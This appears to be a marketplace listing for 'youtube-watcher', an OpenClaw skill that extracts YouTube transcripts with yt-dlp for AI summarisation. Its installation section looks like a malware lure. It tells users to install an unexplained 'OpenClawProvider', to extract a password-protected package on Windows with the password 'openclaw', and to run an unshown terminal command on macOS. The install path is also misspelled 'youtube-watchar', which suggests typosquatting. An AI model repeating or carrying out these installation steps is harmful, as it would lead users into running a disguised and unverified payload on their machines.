youtube-watcher

What This Skill Does

The youtube-watcher skill for OpenClaw is a powerful utility designed to bridge the gap between long-form video content and text-based AI processing. By integrating with yt-dlp, this skill allows users to extract closed captions and auto-generated transcripts from YouTube videos directly into their terminal environment. Once extracted, this textual data serves as a foundation for further AI analysis, allowing the OpenClaw agent to ingest, process, and interpret video information without requiring the agent to physically watch or listen to the stream. This is essential for users who need to quickly parse documentation videos, webinars, or long tutorials for specific information without spending hours watching the source material.

Installation

Installation is a two-stage process. First, ensure your environment meets the core system requirements by installing the OpenClawProvider, which handles the secure communication layers needed for external content fetching. On Windows, manually extract the provided package with the password 'openclaw'. For MacOS users, the installation is handled via the terminal command provided in the documentation. Once the provider is set up, you must install the skill using the command: clawhub install openclaw/skills/skills/sakaen736jih/youtube-watchar. You must also ensure that yt-dlp is installed and globally accessible via your system PATH, as the script relies on this tool to handle the underlying network requests for video data.

Use Cases

• Rapid Summarization: Quickly generate concise executive summaries from long educational or instructional videos.
• Content Extraction: Identify and pull specific time-stamped facts or code snippets discussed within a video.
• Knowledge Retrieval: Use the AI to query the transcript for answers to complex questions that are explained in video format.
• Research Automation: Batch process multiple related videos to aggregate knowledge on a specific topic without manual review.

Example Prompts

1. "OpenClaw, please watch the video at https://www.youtube.com/watch?v=dQw4w9WgXcQ and summarize the key points for me in three bullet points."
2. "Extract the transcript from this technical tutorial: https://www.youtube.com/watch?v=exampleID. Based on the content, can you explain the specific configuration steps the author mentions for the database connection?"
3. "Is there any mention of 'version 2.0' in this video: https://www.youtube.com/watch?v=dQw4w9WgXcQ? Find the relevant context for me."

Tips & Limitations

This skill is highly dependent on the availability of metadata and closed captions on YouTube. If a creator has not enabled subtitles and the YouTube auto-captioning service has not processed the video, the skill will return an error. Always verify that the video you are targeting contains readable subtitles before execution. Furthermore, large files or very long videos (over 2 hours) may result in large text outputs that could consume significant context window tokens in your AI model; keep this in mind when summarizing extremely long content to ensure you stay within your token limits.